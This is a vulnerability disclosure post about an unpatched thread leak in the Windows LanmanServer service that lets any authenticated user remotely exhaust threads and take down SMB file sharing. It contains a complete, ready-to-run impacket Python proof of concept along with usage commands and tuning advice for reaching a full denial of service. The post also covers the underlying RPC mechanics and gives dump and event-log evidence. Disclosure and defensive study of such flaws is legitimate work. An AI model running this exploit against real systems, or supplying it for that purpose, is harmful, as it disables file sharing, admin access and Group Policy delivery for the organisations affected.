// 1dotq

vulnerability research & low-level Windows internals

LanmanServer thread leak: authenticated RPC cycling to DoS

2026-06-01  —  Windows 11 Build 26200 (April 2026 Patch Tuesday)  —  LanmanServer / TCP 445
windows rpc smb thread-leak dos
Field Value
Component srvsvc.dll 10.0.26100.1, LanmanServer svchost.exe
Type Resource exhaustion — unbounded thread accumulation
Auth required Yes — any domain or local account (no elevation)
Attack vector Network — TCP 445, ncacn_np transport
Impact Full SMB stack DoS — file sharing, admin shares, pipe-based RPC all unavailable

The Windows LanmanServer service (srvsvc.dll) doesn't reclaim worker threads when authenticated RPC clients disconnect from \pipe\srvsvc. Thread count grows monotonically with connection cycles and never returns to baseline. Once enough threads accumulate, the Service Control Manager can't deliver control codes within its 30-second timeout and EventID 7011 fires — at which point all SMB file sharing, admin shares, and named-pipe-dependent remote management are unavailable.

The attack is entirely remote. The only prerequisites are TCP/445 reachability and one set of low-privileged credentials — any domain user, any local account. The PoC is 73 lines of Python using impacket and runs in under 30 seconds to a detectable leak, under five minutes to full DoS.

What LanmanServer is and why it matters

LanmanServer is the Windows implementation of the SMB server — the service that makes \\server\share work. It hosts the MS-SRVS (Server Service Remote Protocol) interface, which is exposed as an RPC endpoint on the named pipe \pipe\srvsvc. That pipe is reachable from the network via SMB transport (port 445) and requires a valid authenticated session.

Everything that depends on SMB for its own remote management channel goes down when LanmanServer goes down:

On a domain controller, taking down LanmanServer means SYSVOL becomes unreachable. Group Policy stops applying for every machine that polls that DC.

The thread leak

MS-SRVS uses the DCE/RPC connection-oriented protocol over named pipe transport (ncacn_np). When a client connects and binds to the server's interface, the server allocates a worker thread from its thread pool to service that RPC association. On normal disconnect, that thread should be returned to the pool and recycled.

In LanmanServer's implementation in srvsvc.dll, the thread is not fully reclaimed after disconnect. It remains in the pool in a blocked state — ntdll!NtWaitForSingleObject — consuming a thread object and a stack allocation indefinitely. This is confirmed by the memory dump: all 8,697 threads at peak are sitting at the same wait call with no work queued.

The leak is worst when the client dispatches a call before disconnecting. The PoC uses opnum 31 — NetprPathCanonicalize — with a 32,768-character path. This isn't the thing that causes the leak; it's what maximises it. The oversized call commits the server-side thread to processing the request before the transport is torn down, preventing the thread lifecycle from running cleanup on the happy path. A bare connect/bind/disconnect leaks at a lower rate; dispatching first makes every cycle count.

Proof of concept

#!/usr/bin/env python3
"""
PoC: LanmanServer RPC Thread Accumulation DoS
Target: Windows LanmanServer service (srvsvc.dll)

Requirements: pip install impacket
Usage: python3 msrc_poc_lanman_thread_leak.py <TARGET_IP> <USER> <PASS>
"""
import sys, time, struct
from impacket.dcerpc.v5 import transport, srvs

TARGET   = sys.argv[1] if len(sys.argv) > 1 else "TARGET_IP"
USERNAME = sys.argv[2] if len(sys.argv) > 2 else "username"
PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password"

CYCLES   = 500    # connections to open/close — increase for full DoS
INTERVAL = 0.05   # seconds between cycles

ok = 0
fail = 0
for i in range(CYCLES):
    try:
        rpct = transport.DCERPCTransportFactory(
            f"ncacn_np:{TARGET}[\\pipe\\srvsvc]"
        )
        rpct.set_credentials(USERNAME, PASSWORD)
        dce = rpct.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)

        # opnum 31 — NetprPathCanonicalize with oversized path
        path = "C:\\" + "A" * 32768
        def ndr_wstr(s):
            d = (s + "\x00").encode("utf-16-le")
            c = len(d) // 2
            return struct.pack("<III", c, 0, c) + d
        stub  = struct.pack("<I", 0x00020000)
        stub += ndr_wstr(path)
        stub += struct.pack("<I", 1024)
        stub += ndr_wstr("\\")
        stub += struct.pack("<I", 0x00020004)
        stub += struct.pack("<I", 0)
        stub += ndr_wstr(TARGET)
        stub += struct.pack("<I", 1)
        try:
            dce.call(31, stub)
        except Exception:
            pass  # error response expected — thread was still allocated

        dce.disconnect()
        ok += 1
    except Exception as e:
        fail += 1

    if (i + 1) % 50 == 0:
        print(f"  [{i+1:4d}/{CYCLES}]  ok={ok}  fail={fail}")
    time.sleep(INTERVAL)

print(f"\n[*] Done. {ok} connections cycled.")
print(f"[*] Check LanmanServer thread count — should be elevated above baseline (~50).")

To monitor thread growth on the target while the PoC runs:

while($true) {
    $p = Get-Process svchost | Sort-Object { $_.Threads.Count } -Descending | Select-Object -First 1
    Write-Host "$($p.Id) $($p.Threads.Count) threads $([math]::Round($p.WorkingSet64/1MB,1)) MB"
    Start-Sleep 10
}

At 500 cycles with 0.05s intervals the run completes in about 25 seconds. Set CYCLES = 5000, or run the script ten times back-to-back, for the full DoS condition. Creating a throwaway standard user account for testing:

# on target (PowerShell, admin)
net user testuser TestPass123! /add

# from attacker (Kali, any Python 3 + impacket)
python3 msrc_poc_lanman_thread_leak.py <TARGET_IP> testuser TestPass123!

What each step does

Walking through the relevant lines to make the RPC mechanics explicit:

DCERPCTransportFactory("ncacn_np:TARGET[\\pipe\\srvsvc]") — selects the Named Pipe connection-oriented RPC transport. This means everything goes over SMB on port 445, using an existing or new authenticated SMB session as the outer layer. The named pipe \pipe\srvsvc is the endpoint for the Server Service Remote Protocol (MS-SRVS).

dce.connect() + dce.bind(MSRPC_UUID_SRVS) — establishes the RPC association and identifies the interface. This is where the server allocates the worker thread that will service this association.

dce.call(31, stub) — dispatches NetprPathCanonicalize (opnum 31, documented in MS-SRVS §3.1.4.31) with a hand-rolled NDR payload containing a 32,768-character wide-string path. The call returns an error — the path is intentionally malformed — but the server-side thread has already been dispatched into the call handling path. The exception is caught and discarded; the return code doesn't matter.

dce.disconnect() — closes the transport. The server-side thread does not return to the pool.

Evidence

Thread counts recorded on the LanmanServer svchost.exe continuously during testing:

State Threads Working set
Baseline (before PoC) ~50 ~13 MB
Peak (during full-DoS run) 8,697 ~260 MB
After 2-hour idle (no connections) 2,728 ~82 MB

Thread count after the 2-hour idle period did not return to the ~50 baseline. The leaked threads are permanent for the lifetime of the service process — a restart is required to reclaim them.

A full process dump of LanmanServer svchost.exe was captured at peak accumulation:

; Captured 2026-04-14 10:41 UTC
; procdump on PID 2892 (LanmanServer svchost)
; MDMP ThreadListStream: 8,697 threads
; All 8,697 threads at:
ntdll!NtWaitForSingleObject
; No exception stream — process alive, thread pool saturated
; SHA-256: c41acf3024653869664e7b8399d3b7d83e7f0064f18da74b294a85d6885ec10b

All 8,697 threads sitting at NtWaitForSingleObject with nothing queued confirms these are idle, leaked threads — not threads processing active connections. The service is alive but its schedulable capacity is exhausted.

EventID 7011 fired four times on 2026-04-14, recorded in the System event log:

Source: Service Control Manager
Log:    System
ID:     7011

08:45:58  "A timeout (30000 milliseconds) was reached while waiting for
           a transaction response from the LanmanServer service."
14:30:15  same
14:41:00  same   ← service unresponsive for 21+ consecutive minutes
14:51:38  same

During those windows, all SMB file sharing, named pipe access, and admin shares were unavailable on the target machine.

Target environment

Mitigation

No patch exists. These controls reduce exposure:

Timeline

Date Event
2026-04-14 Discovery; memory dump captured at peak (8,697 threads); 4× EventID 7011
2026-06-01 Public disclosure

I'll update this post if a patch ships in a future Patch Tuesday.

Dump SHA-256: c41acf3024653869664e7b8399d3b7d83e7f0064f18da74b294a85d6885ec10b (444 MB, available on request)